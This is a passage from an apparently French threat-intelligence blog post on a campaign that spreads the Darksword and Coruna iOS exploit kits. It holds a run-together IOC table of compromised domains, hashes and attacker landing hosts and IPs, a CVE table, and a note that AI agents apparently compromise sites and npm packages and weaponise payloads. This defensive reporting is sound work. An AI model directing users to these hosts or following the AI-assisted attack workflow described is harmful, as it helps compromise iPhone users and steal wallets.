9fca838c920f75c65cfb3fc9fa798eed2110aee1b059bc2f4dcdb06f23fe4b54ehcuz8kjhjno.tophttp://ehcuz8kjhjno.top/tag/泡沫包装板厂家yesjsjiami-overlayhttps://34.92.229.121:56744/mktland34.92.229.121:56744
b533f848cb71d83bb86e0795a8ce43bc6dc2d76812773391dfd7a7ae28996061q8rhvd.viphttp://q8rhvd.vip/products/shipinjiagongshebei/1.htmlyesjsjiami-overlayhttps://34.92.61.243:45675/mktland34.92.61.243:45675
b62e59f0893475103dad1030cfc72267e79bede04ab0370bf64bf7ee69ba6f87m.888qp38.comhttp://m.888qp38.comyesjsjiami-overlayhttps://34.92.229.121:56744/mktland34.92.229.121:56744
be0345aac095ef4366904eeda5d3587cc12ded07468f2317e9c20025a34a8857m.leehou.comhttp://m.leehou.comyesjsjiami-overlayhttps://34.92.61.243:45675/mktland34.92.61.243:45675
f4a4cb25c39e0642c334fd23c60f14d1ba49dcb78c1a28323ee73c291c58a7a0ky308893.viphttp://ky308893.vip/cylindrical-cellyesjsjiami-overlayhttps://34.92.61.243:45675/mktland34.92.61.243:45675
47bb23fadaa0476bbab448db9983769ee7715b2c588b3c371fb5032f8e8c2c88share.cdn-eyy.com.cnhttp://share.cdn-eyy.com.cnyesobf-referrer-redirecthttps://www.eyy250.com/eyy250.com
63d8f3c159381330c0a5deb408cc593dc0bbf264b899d0967dcaa635f03468c4hsvoice.cfdhttp://hsvoice.cfdyesobf-script-loaderhttps://hd.gkkqkq.com/d/ds-453.jshd.gkkqkq.com
0be9c70819e09c8b4f1bc5104633f3aba4e51d7ef83642e72a8ff911552f2afcqfxlra.cnhttp://qfxlra.cnyesspiderUA-overlayhttps://242luh5.rgvckg.com:2096/?channelCode=24242luh5.rgvckg.com:2096
1fb09414c99930c58a7da49df73ce239b5da3a6c271ad3e9faa188c9317bbe9fsfspyy21.cnhttp://sfspyy21.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
2af29bb577cc93a84160196d3c4837c0603cefddeb0fddba4a7a9c21688141cdkghxjfo.cnhttp://kghxjfo.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
31373c53b6d716bb28788c8fc219119492d33c8092fc8f5e8b4a8540a37ee86dctvbqzz.cnhttp://ctvbqzz.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
50d436301f69224c89b38917c689bf652c33eca54163567ff2d34b5bc6852055tohrbcw.cnhttp://tohrbcw.cnyesspiderUA-overlayhttps://242luh5.sebxyl.com:2096/?channelCode=24242luh5.sebxyl.com:2096
50fe27061fc3971f0523f2d25841789e895f6d3af13f2adac57aa00643d2576dlokagro.cnhttp://lokagro.cnyesspiderUA-overlayhttps://242luh5.sebxyl.com:2096/?channelCode=24242luh5.sebxyl.com:2096
66e322204dd8385adcf426145f94ba852b4444dce0477cb316f85da3cf4535c7bdujvew.cnhttp://bdujvew.cnyesspiderUA-overlayhttps://242luh5.sebxyl.com:2096/?channelCode=24242luh5.sebxyl.com:2096
75382b86333e61caea4798cf9d6e5cef16f033100e9691d454cacb6a51ffbca8bdujvew.cnhttp://bdujvew.cnyesspiderUA-overlayhttps://242luh5.shulcq.com:2096/?channelCode=24242luh5.shulcq.com:2096
93d147faa9718bc10f1d821e2e18f7e6023d1e09b3fe582f3d01c03e6122748acirzkqp.cnhttp://cirzkqp.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
94dd9ddf69720b29fc9767ac222d7af27477cb9bdd78426fc567329c9e9cccabzywxaie.cnhttp://zywxaie.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
99a47f49fb3269c8435dbd44c4834da604b31c373ea524a80920c8c1eb6feaffrmfvhit.cnhttp://rmfvhit.cnyesspiderUA-overlayhttps://242luh5.sebxyl.com:2096/?channelCode=24242luh5.sebxyl.com:2096
99bb59a9081c96e988d032e66ffa1e62f482cf6ff7945ac75059b985fe7293e9t2uuu9s.cnhttp://t2uuu9s.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
a47d4763ff82bb721e6ffa47fa6ce653f006579de24cb0bba156a5e978152516bozzfrl.cnhttp://bozzfrl.cnyesspiderUA-overlayhttps://192luh5.mvquuh.com:2096/?channelCode=19192luh5.mvquuh.com:2096
b0abf3159cf9e25309a15e32e2126c7bd759d97b04e8c72153c5bf4c15d320d5dfjbaqu.cnhttp://dfjbaqu.cnyesspiderUA-overlayhttps://242luh5.shulcq.com:2096/?channelCode=24242luh5.shulcq.com:2096
083b8b10a9c1dee118625d1b47f822fa966d6b912eb9ec814e8332d4900e141a01250125.comhttp://01250125.com/FRMLIS9HHEynDyIL.htmlyesyabo-overlayhttps://m.a1rnwp.com/MktLandm.a1rnwp.com
2ab85382d08a3447205be5068e6e6c26358162b274dd0ac112ab23794095b0d7m.9887700.comhttp://m.9887700.comyesyabo-overlayhttps://m.szdf40.com/MktLandm.szdf40.com
3799c3cfbf5056de5a890b3044f970fdd1045a360ebb986d7f0cd49a50b6891b5554119.comhttp://5554119.comyesyabo-overlayhttps://m.a1rnwp.com/MktLandm.a1rnwp.com
5a73a4b2a53153f1cf22f1e126ecc10df0ef2843479a8520fe534d225a07b196yh3380.comhttp://yh3380.comyesyabo-overlayhttps://m.ujyhk9.com/MktLandm.ujyhk9.com
5b74d8cfdea7672fc6e0b420d80169b0614ea3762bef07907afdf3e928bb58b2mobile.pj9088.comhttp://mobile.pj9088.comyesyabo-overlayhttps://35.220.255.80:9999/MktLand35.220.255.80:9999
744818ae01f343e066496ddf3b84af9350aa3a245e9abe306202a5d80f8707d9mgm39988.comhttp://mgm39988.comyesyabo-overlayhttps://m.a1rnwp.com/MktLandm.a1rnwp.com
7ea842d8a12f68652ba988e0c912ce72dc7b84ed20363c3c900c1003c82483162200551.comhttp://2200551.comyesyabo-overlayhttps://m.szdf40.com/MktLandm.szdf40.com
af3fb865f63cbc69d6cdcb24e9ace28e1358ddc893cd9f804b1ddd58745625dem.lt171.comhttp://m.lt171.comyesyabo-overlayhttps://35.220.255.80:9999/MktLand35.220.255.80:9999
c31d215db207a3931972710b421c7da5375c39b7b42513a7d8a790e3b45efd91mobile.443544.comhttp://mobile.443544.comyesyabo-overlayhttps://m.f1y61q.com/MktLandm.f1y61q.com
e4df8d88ec3277ec78434f593f7067703fad60777cd830f0221fcbcdacd9bc2dylb234.comhttp://ylb234.comyesyabo-overlayhttps://m.a1rnwp.com/MktLandm.a1rnwp.com
ef1451c7e7c0380b4ffa3c0781d6cda4a7560bb83e71fd38a1d05d06547c429bhg5986.comhttp://hg5986.comyesyabo-overlayhttps://m.ujyhk9.com/MktLandm.ujyhk9.com
f277d93d4ab584e5f5848e492c9c0371f27eed76d7344fbd36bf772f54d57dcdm.www151144.comhttp://m.www151144.comyesyabo-overlayhttps://35.220.255.80:9999/MktLand35.220.255.80:9999
f80c0a590c94e59869a5a6e986a5a0621de540f632da06414fd158e2fdf22833yongwangguoji.comhttp://yongwangguoji.com/test.phpyesyabo-overlayhttps://m.cxuahp.com/MktLandm.cxuahp.com


Les familles identifiées et leurs noms sont propres à cette investigation et pas spécialement documentées en source-ouvertes. Elle sont expliquées plus en détail sur notre GitHub pour les plus curieux.

Conclusion

Au cours de nos recherches, nous avons également identifié un nombre important d'autres clusters de serveurs diffusant des charges liées à Darksword ou à Coruna. La plupart de ces charges sont déjà connues et bien documentées, mais l'ampleur de l'infrastructure qui les déploie, ainsi que le ciblage de la supply-chain (paquets npm, CDN compromis, watering holes) pour les diffuser, est véritablement stupéfiante.

Bon nombre des charges identifiées présentent des signes évidents de développement assisté par IA, et certains serveurs exposent directement des traces du travail automatisé d'un agent portant sur le déploiement, la recherche de vulnérabilités ou la weaponisation de ces charges. La prochaine étape consistera bien sûr à dériver ces kits d'exploitation pour cibler des versions encore plus récentes d'iOS. Dans un cas, par exemple, nous avons également récupéré des charges associées à des vulnérabilités pour lesquelles aucun PoC publique n'existait au moment de l'analyse.

CVEComponentCVSSPublic POC ?Observation
CVE-2022-32894IOKit (kernel write)7.8YesDocumented and patched, iOS ≤ 15.6.1, CORUNA exploit-kit
CVE-2022-32917Kernel bounds check (privesc)7.8YesDocumented and patched, iOS ≤ 15.7, CORUNA exploit-kit
CVE-2025-14174ANGLE WebGL OOB8.8YesDocumented and patched
CVE-2025-43510Kernel lock race condition7.8YesDocumented and patched, part of the darksword exploit-kit
CVE-2025-43520Kernel buffer overflow (CWE-120)5.5YesDocumented and patched, part of the darksword exploit-kit
CVE-2026-43818ImageIO / HEIF integer overflow8.8NoNo public exploitation confirmed
CVE-2026-64766IOUserClient OOB write / KRW7.8NoNo public exploitation confirmed
CVE-2026-20700Kernel memory corruption7.8YesDocumented and patched


Nous ne sommes pas certains de l'efficacité de ces charges ; cela illustre toutefois une tendance croissante au développement accéléré grâce aux LLM de vulnérabilités n-day. Ce dont nous sommes certains, en revanche, c'est que la fuite des kits d'exploitation Darksword et Coruna, révélée par les équipes de Google, est particulièrement alarmante et survient au pire moment, étant donné que :

  • des agents IA autonomes compromettent des sites web ou infectent des paquets npm à grande échelle ;
  • des sites compromis servent à déployer des kits d'exploitation très sophistiqués, permettant même à des acteurs peu qualifiés de lancer des attaques iOS zero-click ;
  • un très grand nombre d'utilisateurs d'iPhone dans le monde utilisent (encore) d'anciens modèles qui ne peuvent plus recevoir de mises à jour de sécurité.

‍

IOCs

https://github.com/OWNsecurity/Yet-Another-Darksword-Campain-Targeting-Cryptocurrency-Wallets

References

  1. https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
  2. https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit
  3. https://www.lookout.com/news-release/lookout-uncovers-darksword-ios-exploit-chain
  4. https://www.iverify.com/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking
  5. https://www.silentpush.com/blog/triad-nexus-funnull-2026/
  6. https://socket.dev/blog/packagist-themes-ios-spyware
  7. https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/
  8. https://safedep.io/art-template-npm-supply-chain-compromise/
  9. https://securelist.com/coruna-framework-updated-operation-triangulation-exploit/119228/
  10. https://socket.dev/blog/coruna-respawned-compromised-art-template-npm-package
  11. https://github.com/khanhduytran0/coruna
  12. https://censys.com/blog/darksword-coruna-open-directory-finding-report/
  13. https://aviatrix.ai/threat-research-center/p7-darksword-ios-exploit-kit-crypto-wallet-theft-2026/
  14. https://c2huntersresearch.com/blog/2026-09/inside-one-attackers-server/
Partager l'article :

Your OWN cyber expert.